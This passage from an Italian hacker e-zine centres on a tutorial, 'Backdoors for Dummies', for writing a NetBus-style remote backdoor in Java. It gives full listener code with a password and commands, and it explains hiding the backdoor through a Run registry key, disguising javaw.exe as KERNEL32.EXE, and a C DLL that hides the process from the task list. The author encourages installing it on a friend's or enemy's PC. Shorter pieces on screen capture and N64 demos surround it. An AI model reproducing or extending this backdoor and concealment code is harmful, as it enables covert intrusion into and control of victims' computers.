BitBlt DestDC, 0, 0, rWidth, rHeight, SourceDC, Lt, Top, _
&HCC0020
Wnd = Screen.ActiveForm.hWnd
OpenClipBoard Wnd
EmptyClipBoard
SetClipBoardData 2, BHandle
CloseClipBoard
DeleteDC DestDC
ReleaseDC DHandle, SourceDC
End Sub
Sub Command1_Click ()
Form1.Visible = False
ScrnCap 0, 0, 640, 480
Form1.Visible = True
picture1 = clipboard.GetData()
End Sub
-----------------------------FINE--------------------------------------Cioe' ogni qualvolta cliccherete sul pulsante Command1 vi catturera' lo schermo.
Attenzione nell'ultima SUB abbiamo:
ScrnCap 0, 0, 640, 480
Se avete una diversa risoluzione cambiate quel valore!
6. Fine
Beh credo che per ora basti, se trovo altri trucchi li vedrete sicuramente sul
prox numero.
Ciao da T0rment0
T0rment0
[email protected]
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³
BACKDOORS FOR DUMMIES (e non vi offendete:))
³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Ok. Questo, come dice il titolo, sara' un piccolo tut che dovrebbe insegnare
ad ogni newbies come scriversi il proprio BO o NetBus e ad essere meno lamer.
Il tut l'ho pensato proprio al "nobile" scopo di de-lamer-izzarvi.
DE-LAMER-IZZATEVI, non usate BO x poi vantarvi di essere dei grandi Hacker,
anche mio cugino di 2 anni sarebbe capace di Hackerare un PC con quello :))
/--NOTA----------------------------------------------------------------------\
| prevedo entro domani mattina un minimo di 10 installazioni di BO sul mio PC|
| che si combattono x chi mi deve formattare l'HD x primo :))
|
-----------------------------------------------------------------------------Proprio cosi', perche' in giro ci sono parecchi guys che vanno in giro
vantandosi delle proprie imprese (realizzate col BO) e poi magari cercano di
Hackerare uno UNIX con lo stesso metodo (perke' non sanno kosa c'e' dietro?)
DITEMI SE NON E' LAmHZ QUESTO ?!?!? ):| VERGOGNA!!!
/--NOTA----------------------------------------------------------------------\
| kosi' sono certo di essermeli messi tutti contro, e le installazzioni di BO|
| sul mio PC arriveranno a quota 3000 :))))
|
-----------------------------------------------------------------------------Io non sono certo un Hacker (lo capirete presto:) , in quanto non ho mai
hackerato un kzz, ma sono un cracker beginner (ho iniziato da circa 3 mesi:)
e mi sono affacciato alla scena da pochissimo (affacciato ho detto), ma almeno
posso essere sicuro di non essere un lamer.
(prima di fare qualcosa devo sapere cosa c'e' dietro altrimenti non la faccio
proprio, le cose "rrunzate" non mi piacciono)
Dopo questa breve nota biografica (CORO : ke palle!!!) necessaria in quanto e'
meglio buttarsi avanti x non trovarsi indietro, cominciamo con le cose serie :
COS' E' IL BO (x veri newbies, non dite ke non vi avevo avvertito:)
Allora, BO (come NetBus) e' un troiano, cioe' un programmino che sembra faccia
qualcosa mentre in realta' ci sta inkulando a sangue in background.
Va be, in pratica questo kz di programma una volta installato in un PC si
mette in ascolto (fa da server) di certi comandi che gli si puo' mandare con
un client apposito (suppongo anche con telnet, ma in realta' io non l'ho mai
usato quindi posso solo immaginare :( , cmq e' il concetto che conta, no? :)
Questi comandi spaziano dai "classici" download/upload di file allo spegnimento da remoto del Pc vittima o nel NetBus anche a comandi + "creativi" quali la
apertura/chiusura del lettore CD e la possibilita' (secondo me imperdibile)
di sentire il povero user vittima dei nostri scherzi che ci manda a fankulo
mentre gli formattiamo l'HD.
In pratica ci fa' fare da remoto tutto quello che potremmo fare in locale
tranne accendere il Pc se spento :P
Bene, questa e' quello che + o - penso possa essere la descrizione sintetica
di cosa BO e NetBus siano in pratica.
Ora vediamo come possiamo noi poveri NewBies fare' qualcosa che si avvicini al
lavoro svolto dai coders di BO (Cult of Dead Cow).
Potremmo cominciare col vederlo in Java x vari motivi :
1. le classi che Java ci mette a disposizioni ci renderanno le cose molto +
facili;
2. la struttura ad oggetti facilitera' (penso) la comprensione da parte dei
newbies;
3. il nostro lavoro sara' (suppongo:) multipiattaforma;
e cosa ancora + importante :
4. io le mie prove le ho fatte in Java quindi sara' in Java che ve lo
spieghero' :))))))
Ma prima di passare alla pratica si deve passare obbligatoriamente dalla
teoria ;)
I SOCKET IN JAVA
Questo in effetti voleva essere piu' che altro un intro su come usare Socket e
TCP in Java, ma considerato che so quanto noi newbies siamo "lazy" (e il
passaggio da lazy a lamer a volte e' breve :) ho deciso di allettarvi con
qualcosa di meno nobile ma concreto (il BO appunto).
Ma prima di tutto vi tokkera' sukarvi il mio korso di Socket in Java (hihihi:)
( sono un sadiko vero ? :)
Quindi fate come me :
accendetevi una sigaretta (o equivalente in verde) :Q
e cominciate a leggere (ke io komincio a skrivere)
Come prima cosa dovrei forse illustrare cosa sia un socket, ma non penso di
essere un pozzo di scienza sull'argomento quindi lo spieghero' in modo
sintetico lasciando a voi ulteriori approfondimenti (in altre parole :
SKARIKO_IL_BARILE)
Un Socket non e' altro se non un flusso di dati (anzi 2 flussi di verso
opposto:) tra due Pc collegati in rete (ma anche fra 2 applicazioni in locale
se volete).
I Socket utilizzati da Java sono in stile Unix e permettono di utilizzare le
normali classi di IO usate su file e simili sui socket da noi aperti.
Quindi una volta aperto un socket lo possiamo utilizzare come un normale
flusso (Stream, cosi' introduciamo gia' i termini) di dati che sara' pero'
direzionato verso un altro calcolatore in rete.
Prima che vi fossiliziate sulle classi di Java e non siate piu' in grado di
uscirne voglio far notare che mentre Java fornisce due tipi di Socket
principali Socket e ServerSocket, in Unix e nelle WinSock di Windoze non
esiste nessun ServerSocket ?!?!?!
allora voi penserete : "Posso scrivere solo client ?"
ma la risposta sara' : "NO :)"
In effetti i ServerSocket di Java altro non sono se non Socket in stato di
listen (cioe' ascolto) che aspettano qualcuno che ci si metta in contatto.
( x una descrizione + completa dei Socket in Unix o WinSock aspettate un
prossimo tut o se andate di fretta documentatevi, HOW-TO e pagine man di Linux
sono zeppi di info, molte di + del necessario:)
E ora le Classi (non elenchero' tutti i metodi ma solo quelli che useremo,
I'm lazy too :P )
---java.net.Socket-----------------------------------------------------------| Descrizione | questa classe implementa i client sockets.
|
|--------------|-------------------------------------------------------------|
| Costruttori | Socket() - crea un Socket non connesso, del tipo di default |
|
|
nel sistema.
|
|
|-------------------------------------------------------------|
|
| Socket(InetAddress address, - crea un Socket e lo connette |
|
|
int port)
all'indirizzo "address" sulla |
|
|
porta "port" (naturalmente:) |
|
|-------------------------------------------------------------|
|
| Socket(String host, - crea un Socket e lo connette all' in- |
|
|
int port)
dirizzo "host" sulla porta "port"
|
|--------------|-------------------------------------------------------------|
| Metodi
| void close() - chiude questo socket ( ma che bravo !!!:))
|
|
|-------------------------------------------------------------|
|
| InputStream getInputStream() - ritorna un InputStream per
|
|
|
questo socket.
|
|
|-------------------------------------------------------------|
|
| OutputStream getOutputStream() - ritorna un OutputStream per|
|
|
questo socket
|
|--------------|-------------------------------------------------------------|
---java.net.ServerSocket-----------------------------------------------------| Descrizione | questa classe implementa i server sockets, che attende una |
|
| richiesta e una volta arrivata crea un Socket verso di essa.|
|--------------|-------------------------------------------------------------|
| Costruttori | ServerSocket(int port) - crea' un socket in stato di listen |
|
|
sulla porta "port".
|
|
|-------------------------------------------------------------|
|
| Socket(int port
- crea un Socket in attesa sulla porta |
|
|
int backlog)
"port" che accetti un massimo di
|
|
|
"backlog" di connessioni nella coda. |
|--------------|-------------------------------------------------------------|
| Metodi
| Socket accept() - rimane in listen x una connessione e la
|
|
|
accetta.
|
|
|-------------------------------------------------------------|
|
| void close() - chiude questo socket.
|
|--------------|-------------------------------------------------------------|
Ritengo che per quanto riguarda i socket queste dovrebbero bastarci x ora.
Invece x quanto riguarda i Flussi di Input/Output ci sono un bel po di classi,
e si trovano in "java.io" :
--Input----------------| InputStream
|
| InputStreamReader
|
| BufferedInputStream |
| BufferedReader
|
| PipedInputStream
|
| PipedReader
|
|----------------------|
|-Output---------------|
| OutputStream
|
| OutputStreamWriter
|
| BufferedOutputStream |
| BufferedWriter
|
| PipedOutputStream
|
| PipedWriter
|
-----------------------queste sono alcune, scegliete la vostra preferita', se non ve ne piace nessuna
realizzatene una nuova, insomma a voi la scelta.
IL MODELLO CLIENT-SERVER
Il modello client-server e' molto intuitivo, in quanto si basa su un client
che fa delle domande ad un server che gli risponde : lineare, no ?
domanda
/--------\ ---------> /--------\
| client |
| server |
\--------/ <--------- \--------/
risposta
Il Server si trovera' magari nella situazione di dover svolgere svariati
compiti o di dover rispondere a domande di diverso "tipo".
Il tutto si risolve con le porte, che non hanno niente a che fare con le
porte fisiche che si trovano dietro ad un Pc ma sono una struttura software,
punti di accesso ai servizi offerti dal software di rete.
In pratica :
/-------------\
|
SERVER
|
\-/----|----\-/
/
|
\
/
|
\
/-----\ /------\ /------\
| FTP | | HTTP | | SMTP |
|-----| |------| |------|
/|\ |
/|\ |
/|\ |
| |
|
|
|
|
| \|/
| \|/
| \|/
/------\ /------\ /------\
|client| |client| |client|
| FTP | | HTTP | | SMTP |
\------/ \------/ \------/
etc. etc.
etc. etc.
Quello che ancora non abbiamo messo in risalto e' che il confine fra Server
e Client non e' cosi netto come puo' sembrare...
Ogni Client puo' fare da Server ed ogni Server puo' essere il Client di
qualcun altro (alla faccia della chiarezza:)
Bene, questo dovrebbe aver chiarito le idee a chi le aveva confuse, e confuse
a chi le aveva chiare (hahahah :))))
A questo punto mi sento veramente esaurito ed esco a farmi un JoinT :Q
~~~~
Bene eccomi di ritorno - lucido di prima, ma soprattutto - convinto che di
quanto sto scrivendo gliene freghi niente a qualcuno :ø(
AND NOW SOME KODE (solo un poko pero':)
Ora potreste cominciare col fare pratica nello scrivere Client di tutti i tipi
tutto quello che vi serve si trova in rete (tutto tranne la vostra testa),
di utilissimo supporto sono soprattutto gli RFC cioe' dei documenti ufficiali
che illustrano le specifiche dei protocolli di rete (cioe' l'insieme di regole
di funzionamento).
Ma x quanto ci riguarda gli RFC non hanno una particolare importanza x il
nostro scopo in quanto una volta chiaro che il server deve ascoltare e
rispondere ed il client chiedere non abbiamo bisogno di altro e il protocollo
(parola grossa nel nostro caso) lo stabiliremo noi :)
---Mettere un ServerSocket in listen su una porta----------------------------ed accettare una connessione.
import java.net.*;
// x i Socket
import java.io.*;
// x le Exception
...
try {
ServerSocket srvSock = new ServerSocket(1234); // crea un ServerSocket
// che si mettera in
// ascolto sulla port 1234
...
Socket clientConnection = srvSock().accept(); // entra in listen e
// accetta una connessione
// poi ritornandola.
}
catch(IOException e) {
System.out.println("Aiuto! Aiuto! Errore HAAAAARGGG!!!"); // OPZIONALE :)
System.out.println("IOException : "+e.getMessage();
}
...
--------------------------------------------------------------------------------Aprire un Socket verso un determinato Host e Port.------------------------import java.net.*; // x i Socket
import java.io.*;
// x le Exception e gli Stream
...
try {
// apre un Socket verso all'indirizzo "127.0.0.1" sulla porta 1234
// P.S. non fate kazzate e' il vostro IP :P
Socket cltSock = new Socket("127.0.0.1", 1234);
OutputStream out = cltSock.getOutputStream(); // con questo potete
// scrivere.
InputStream in = cltSock.getInputStream();
// con questo potete
// leggere.
...
out.write("Stronzo".getBytes()); // scriviamo verso il server.
// esprimendogli tutta la nostra
// gratitudine :)))))))))
...
Byte[] risposta=new Bytes[1024]; // speriamo bastino :P
while(in.available<=0) {}
// attendiamo risposta.
in.read(risposta);
// leggiamo.
...
}
catch(IOException e) {
System.out.println("Aiuto! Aiuto! Errore HAAAAARGGG!!!"); // OPZIONALE :)
System.out.println("IOException : "+e.getMessage();
}
...
-----------------------------------------------------------------------------Funziona + o - cosi'.
Quindi ora che "SAPPIAMO" (forse) come far funzionare i Socket, per prima cosa
stabiliamo il funzionamento del nostro server e poi di conseguenza quello del
nostro client : STABILIAMO IL PROTOCOLLO.
STABILIRE UN PROTOCOLLO
Stabilire un protocollo a volte puo' essere + facile di quanto la parola
stessa suggerisca, si tratta solo di immaginare quali siano i comandi che
possano essere lanciati, come fare a distinguerli dai parametri, a volte
necessari, e se necessario a come sincronizzare server e client.
Il nostro protocollo in questo caso saranno solo 2 o 3 comandi che scegliero'
al volo in questo momento... poi voi siete liberi di variare e soprattutto di
utilizzare le vostre conoscenze x fare di meglio.
Immaginiamo che al momento della connessione col server, questo aspetti da
parte nostra l'invio di un particolare comando di riconoscimento.
Ad esempio :
comando di riconoscimento
|
\|/
/------\
#LOGIN#password
/------\
|CLIENT|--------------------->|SERVER|
\------/
\------/
Il server accettera' la connessione e leggera dall'InputStream.
Quello che leggera' sara' la prima stringa da noi inserita... Il server dovra'
percio' prima verificare che la sintassi del comando sia giusta (#LOGIN#) poi
se riconosce un comando valido interpreta quanto segue come parametri (se
necessari), nel nostro caso ci sara' la password.
A questo punto mi sembra logico che il server dovra' verificare la validita'
di tale password e in caso negativo debba chiudere la connessione.
In caso positivo invece rimarra' in attesa di altri comandi (ke server
passivo:).
Arrivati a questo punto penso che il mio compito nella spiegazione del
protocollo si possa fermare... i comandi gli sceglierete VOI in funzione di
cosa VOI vogliate che il server FACCIA :)
UTILIZZATE LA FANTASIA (una volta che avete la possibilita' di mettere una
backdoor il vostro solo limite e' quella:))))
Io che sono + "lazy" di voi e non mi sta andando di fare un kzz(sono tornato
ora a casa, ho lavorato tutto il giorno e voglio uscire) ne implementero' solo
uno giusto come esempio. A voi il resto (oltretutto se faccio tutto io voi ke
kzz fate ?)
Il mio comando sara': (rullino i tamburi.....[ah, fumano anche loro?hihihi] )
#DIALOG#hey, faccia di kazzo ke kosa fai? non tokkare la tastiera ke ti
fulmino l'harddisk ):|
che stampera' sullo schermo del povero sventurato (probabilmente voi stessi
nelle vostre prove) una DIALOG intimidatoria e niente di +, ma come ho detto
questo e' solo un esempio e potete fare di meglio.
Ammazza ke fantasia direte voi... ma ve lo avevo gia' detto ke non mi sta
kollando un kzz, quindi akkontentatevi :)
REALIZZAZIONE PRATICA (ERA ORA !!!)
A questo punto cominciamo con la stesura del codice del server, ke mi appresto
ora a skrivere sperando che non superi le 40 linee :)
Il Flow del programma dovrebbe essere all'incirca questo :
/-----------------------\
|Inizializzazione Server|
\-----------------------/
|
|
|
/-----------------------\
| attende una richiesta |
| sulla porta
|
\-----------------------/
|
|
/------------------------\
| accetta la connessione |
|
e
|
| apri un socket verso
|
|
il client
|
\------------------------/
|
/------------------------\
| crea gli stream di
|
| input e output per la |
| comunicazione con il
|
| client
|
\------------------------/
|<-------------------|----------|
/------------------------\
|
|
| leggi una stringa dallo|
|
|
| stream di input
|
|
|
\------------------------/
|
|
|
|
|
/\
|
|
/ \
|
|
/ e' \
NO
|
|
/ un \
|
|
/comando?\___________/--------\
|
\
/
| ERRORE |
|
\
/
\--------/
|
\
/
|
\ /
|
\/
|
| SI
|
/-------------------------\
|
| interpreta i parametri |
|
\-------------------------/
|
|
|
/-------------------------\
|
| agisci a seconda del
|-----------------|
| comando e dei parametri |
\-------------------------/
Be', non e' proprio lo stato dell'arte ma dovrebbe ugualmente rendere l'idea.
Il tutto tradotto in Java sara' (non prendetelo come esempio di programmazione
e' scritto con una incredibile skogliona addosso:))) :
------JBackDoor.java---------------------------------------------------------import java.awt.*;
// import x le classi Frame, Label etc.
import java.net.*;
// ====== = == ====== Socket e ServerSocket.
import java.io.*;
// ====== = == ====== BufferedReader,
// OutputStreamWriter, ed IOException.
public class jBackDoor {
public final int STANDARD_PORT = 1234;
// porta su cui accettare
// connessioni.
// SINTASSI COMANDI ( solo 2 :ø( )
public final String LOGIN = "#LOGIN#";
// sintassi comando di login.
public final String DIALOG = "#DIALOG#";
// ======== ======= x far
// apparire una Frame sul
// Desktop della vittima.
// STRINGHE DI RISPOSTA AD ERRORI
public final String NOTVALID = "Non e' un comando valido!!!\n\r";
public final String ALREADYLOGGED =
"SEI GIA' LOGGATO, KE KZ VUOI ANKORA!\n\r";
// MESSAGGIO DI ENTRATA
public final String INTRO =
"Java BackDoor Example v.1.0 coded by (R)ipLey\n\r"+
"For ]N[ewBieS e-zine. (c)opyLeft 1999\n\r";
private boolean logged = false;
private String password = "newbies";
// true=logged, false=not logged :)
// LA NOSTRA PASSWORD :))))
private ServerSocket listenSock;
// Inizializza il ServerSocket
public jBackDoor() throws IOException{
listenSock = new ServerSocket(STANDARD_PORT);
}
// Ciclo di vita della BackDoor :
public void start() throws IOException{
while(true) {
Socket clientSock = listenSock.accept();
workOn(clientSock);
clientSock.close();
}
}
// accetta una connessione
// ci lavora...
// una volta finito la chiude.
// Interazione Tra client e Server
public void workOn(Socket aSock) {
BufferedReader in;
OutputStreamWriter out;
try {
in = new BufferedReader(new InputStreamReader(aSock.getInputStream()));
out = new OutputStreamWriter(aSock.getOutputStream());
while(true) {
String inputData = in.readLine();
// Legge una Stringa
if(inputData!=null && inputData.compareTo("")!=0) {
int result=ElaborateInput(inputData);
// Elabora l'input
switch (result) {
// COMANDO NON VALIDO
case 1 : out.write(NOTVALID, 0, NOTVALID.length());
out.flush(); break;
// GIA' LOGGATO
case 2 : out.write(ALREADYLOGGED, 0, ALREADYLOGGED.length());
out.flush(); break;
// STAMPA INTRO
case 3 : out.write(INTRO, 0, INTRO.length());
out.flush(); break;
}
}
else if(inputData==null) {
// connessione caduta.
logged=false; // de-logga
in.close();
// chiude gli stream
out.close();
// ----------------break;
// esce dal giro.
}
}
}
}
catch(IOException e) {
System.out.println(e.getMessage());
System.exit(1);
}
// Elabora una stringa di input
public int ElaborateInput(String inputData) {
String parametri;
if(inputData.startsWith(LOGIN)) { // E' IL COMANDO LOGIN?
if(logged) return 2;
// SE GIA' LOGGATO non fare niente
parametri = inputData.substring(LOGIN.length()); // estrai parametri
// verifica la validita' della password (in caso positivo ritorna 3)
if(logged=parametri.startsWith(password)) return 3;
}
else if(inputData.startsWith(DIALOG)) { // E' IL COMANDO DIALOG?
// SE precedentemente LOGGATO eegue il comando.
if(logged) OpenDialog(inputData.substring(DIALOG.length()));
else return 1;
// COMANDO NON VALIDO FINO A LOGIN
// AVVENUTO.
}
}
else return 1;
// COMANDO NON VALIDO
return 0;
// NON FARE NIENTE
// Crea e Visualizza una finestra con il testo da noi selto...
// Non e' il massimo come fantasia... :D
public void OpenDialog(String testo) {
Frame myFrame = new Frame("DA UN FAN SCONOSCIUTO");
myFrame.setLayout(new FlowLayout());
myFrame.add(new Label(testo, Label.CENTER));
myFrame.setSize(myFrame.getMaximumSize());
myFrame.show();
}
/********* MAIN *********/
public static void main(String argv[]) {
try {
jBackDoor myBackDoor = new jBackDoor();
myBackDoor.start();
}
catch(IOException e) {
System.out.println("Exception :"+e.getMessage());
System.exit(1);
}
}
}
-----------------------------------------------------------------------------Bene me la sono cavata con un centinaio di righe di codice e una sola classe,
mi e' andata bene...
Ma cosi' com'e' il programma ha una grossa limitazione (ke non sono i poki
komandi presenti) :
si puo' fare una sola connessione per volta :ø(
Cmq si possono apportare migliorie + o - in tutte le parti del programma, ma
ho preferito lasciarlo semplice e lineare xche' sia di + facile comprensione,
spero' di non aver sbagliato :(
Innazitutto potreste estrapolare il cuore del programma ( quello che
interagisce con il client ) e inserirlo in un'altra classe che erediti da
Thread kosi' da rendere la BackDoor in grado di gestire + client
contemporaneamente ( a voi il kompito :), e inserire qualke altro komando
(modifica della passwd, download e upload di file, esecuzione di comandi dal
prompt etc. etc.), DIVERTITEVI :)))))))
POZIONE PER L'INVISIBILITA'
Adesso che avete la vostra cara BackDoor personalizzata vorrete sicuramente
provarla sul Pc di qualke amico ( o nemico :)) ...
Come farla avviare automaticamente e nasconderla da occhi indiscreti ?
Innanzitutto mettere la classe (o le classi) della BackDoor nel classes.zip
cosi' che l'interprete le trovi senza dover specificare alcun PATH...
poi inserire la riga di comando x l'avvio del programma nel registro di
configurazione, nella chiave :
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Se lo volete un po' + invisibile potreste spostare il javaw.exe o il jview.exe
nella directory "C:\WINDOWS\" e rinominarlo in qualkosa tipo KERNEL32.EXE :))
In questo modo sara' avviato automaticamente ad ogni avvio di windows ma non
sara' invisibile alla TaskList. Come fare ?
C'e' una chiamata al kernel semi-documentata chiamata "RegisterServiceProcess"
( 10x to GuyBrush :) che permette di registrare un processo come Servizio di
Sistema e cio' lo rende invisibile alla TaskList.
Ora possiamo modificando un poko il programma x renderlo completamente
invisibile :), come ?
Semplice, scrivendo una DLL e caricarla semplicemente in memoria, questa
avendo nell'entry point il codice necessario a rendere invisibile il processo
corrente ci rendera' invisibili al solo caricamento :))))))) senza dover fare
nient'altro
GRAZIE BILL!!!!!
UNA DLL X L'INVISIBILITA'
Munitevi di un Compilatore che vi permetta di compilare DLL e create la vostra
personale pozione per l'invisibilita'. Io la mia l'ho scritta con il Visual
C++ 5.0 (10x to netzus6 x l'aiuto).
Dichiarate una funzione come entrypoint della DLL la mia l'ho chiamata
DllEntry (sono un originale:).
In questa funzione dovrete :
- caricare la libreria "kernel32.dll" con la funzione LoadLibrary (altrimenti
niente RegisterServiceProcess);
- crearsi un puntatore alla funzione con la funzione GetProcAddress;
- poi :
1. in caso di caricamento della DLL chiamare la RegisterServiceProcess
perche' ti renda invisibile;
2. in caso di scaricamento ti renda nuovamente visibile;
Per saperne di + controllare la documentazione, cmq allego il mio esempio
che potrebbe essere di aiuto ai + inesperti :
#include<windows.h>
#define RSP_SIMPLE_SERVICE 1
#define RSP_UNREGISTER_SERVICE 0
typedef DWORD (WINAPI *RSPType)(DWORD, DWORD);
BOOL WINAPI DllEntry( HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
HINSTANCE hiKernel32;
RSPType RSPFunction;
hiKernel32 = LoadLibrary("Kernel32.dll");
if(hiKernel32==NULL) return FALSE;
RSPFunction=(RSPType)GetProcAddress(hiKernel32, "RegisterServiceProcess");
if(hiKernel32==NULL) return FALSE;
switch(fdwReason) {
case DLL_PROCESS_ATTACH : (RSPFunction)((DWORD)NULL, RSP_SIMPLE_SERVICE);
break;
case DLL_PROCESS_DETACH : (RSPFunction)((DWORD)NULL,
RSP_UNREGISTER_SERVICE);
}
break;
FreeLibrary(hiKernel32);
}
return TRUE;
Ricordatevi, se usate VC++5.0, di modificare i Setting/Link aggiungendo
l'opzione "/entry:nomeFunzioneDiEntryPoint" che specifica il nome della nostra
funzione.
Nel programma java dovrete invece aggiungere all'interno della classe la
seguente dichiarazione :
static {
try {
System.loadLibrary("IDLL");
}
catch(UnsatisfiedLinkError e) {
System.out.println("Exception :"+e.getMessage());
System.exit(1);
}
}
che verra' eseguita appena viene caricato il .class e provvedera' a caricare
la DLL.
THE END ?
Penso che x adesso basti...
Una base ce l'avete ora approfondite e migliorate :)))))))))
RINGRAZIAMENTI :
Tanx to :
netzus6 "l'alchimista"
- per l'aiuto nella realizzazione della pozione
dell'invisibilita'.
GuyBrush "Il pirata buono"- per avermi segnalato la funzione
RegisterServiceProcess e per aver scritto un
crackme che lui continua a dire che e' facile
e io continuo a non riuscire a crakkarlo (non
ci avro' messo abbastanza intenzione:)
Kill3xx "Gandhi"
- Lui sa xche' :)))
Insanity "Billy the Kid" - Colui che ha il saluto + veloce del west (cosi'
dicono:)
xche' non mi ha ancora mandato a f.....o
Lui sa xche' :)))))
Furb3t
"Burl3t"
- xche' mi (ci) ha preso x c..o con la sua
HomePage, Lei sa xche' :)))))))
buendia "Il Laureato"
- x i Docs sui Socket.
Auguroni per ... (Lui sa xche':)))))))))
a tutto Ring0 xche' sono tutti GRANDI :D
e a tutti gli amici di #crack-it
ed infine a
N0Body88 - xche' (spero) accettera' il mio articolo :)
Tanx for il supporto musicale :
Bob Marley, The Cure, The Police, CCCP, CSI, Primus, Punkreas etc. etc.
Fuck to :
Offspring x essere diventati + commerciali di Laura Pausini.
$$$$$
$ $$$ $
$ $ $ $
$ $$
$
$ $ $ $
$$$$$
øø
$$
$$
$$
$$
$$$$
$$ $
$$ $
$$$$
$$
$$
$$
$$
$$$
$$
$
$
$$
$$$$$
$$
$
$$$$$ $$$$
$
$$
$$
$ $$
$$
$$
$$
$
Spedite ringraziamenti, elogi, critiche costruttive a
[email protected]
Per critiche non-costruttive, insulti, flames e bu......e varie a
[email protected]
©ipLey
NOTA DI N0bodY88 = incredibile... prima di mandano un capolavoro di articolo
e poi si domandano se lo accettermo!!! che tempi!!!!!!!!!!
Cmq sono d'accordo con ©ipLey x quanto riguarda gli
Offspring, io continuo a sentirmi i Lag Wagon e vado
avanti x la mia strada...
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³
PROGRAMMAZIONE DI DEMO X NINTENDO 64
³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Bhe ciao a tutti oggi voglio parlarvi di programmazione [ohhh che novita' ]
[buhh buhh] di demo [buhh buhh] per nintendo 64 [ohhhhhhh].
Bhe allora io ho iniziato da pochissimo circa 4 giorni , visto che son molto
patito di emulazione e che mi interesso di ste cose ] . Bhe cominciamo:
Cosa bisogna avere??????????
1: c++ [almeno io ho usato quello]
2: n64 denvelpment kit [14mb]
3: 3ds4 [x le meshes]
4: tanta voglia ed un cazzo da fare [per fortuna in sti giorni ne ho in
abbondanza : matura suck]
Ringrazio le seguenti persone che mi han aiutato:
NaN, Kid, Nil, Maxx, Nop, CyboD, Stage, Rude Boy, Stumble....
Allora accludo file 3ds (lo trovate nei prog acclusi sotto il nome di
"file3ds.zerocool" o nello zip principale o in quello degli allegati).
Esiste poi il prog n643dsl che userete per linkare questo file alla vostra
presentazione.
Bhe okki poi con un caro n64bmi ci applicherete uno sfondo [supporta bmp ,
gif , tif , pcx] e via dicendo . Sto lavorando [ o meglio la ho finita ] a
una demo x n64 che non accluderemo' pero' alla rivista [primo perche' non
inerentissima alla tematica , secondo perche' di 4mb].......Chi vivra' vedra'
ZeroCool
Provoces the best you will die like a slave
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
²°°°°°°°°°Û°°°°°°°°°ÛÛÛ°°°ÛÛ°°°°°°Û°°°°°°ÛÛÛÛÛÛÛ°°ÛÛÛÛÛÛ°°ÛÛ°°°ÛÛ°°ÛÛ°°°ÛÛ°°°²
²°°°°°°°°ÛÛÛ°°°°°°°°ÛÛÛÛ°°ÛÛ°°°°°ÛÛÛ°°°°°ÛÛ²²²²Û°°ÛÛ°°°°°°ÛÛ°°°ÛÛ°°°ÛÛ°ÛÛ°°°°²
²°°ÛÛÛÛÛÛÛ²ÛÛÛÛÛÛÛ°°ÛÛ°ÛÛ°ÛÛ°°°°ÛÛ²ÛÛ°°°°ÛÛÛÛÛÛÛ°°ÛÛ°°°°°°ÛÛÛÛÛÛÛ°°°°ÛÛÛ°°°°°²
²°°°°°°ÛÛÛÛÛÛÛ°°°°°°ÛÛ°°ÛÛÛÛ°°°ÛÛÛÛÛÛÛ°°°ÛÛ°ÛÛ°°°°ÛÛ°°°°°°ÛÛ°°°ÛÛ°°°°°Û°°°°°°²
²°°°°°ÛÛ°°°°°ÛÛ°°°°°ÛÛ°°°ÛÛÛ°°ÛÛÛ°°°ÛÛÛ°°ÛÛ°°ÛÛÛ°°ÛÛÛÛÛÛ°°ÛÛ°°°ÛÛ°°°°°Û°°°°°°²
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
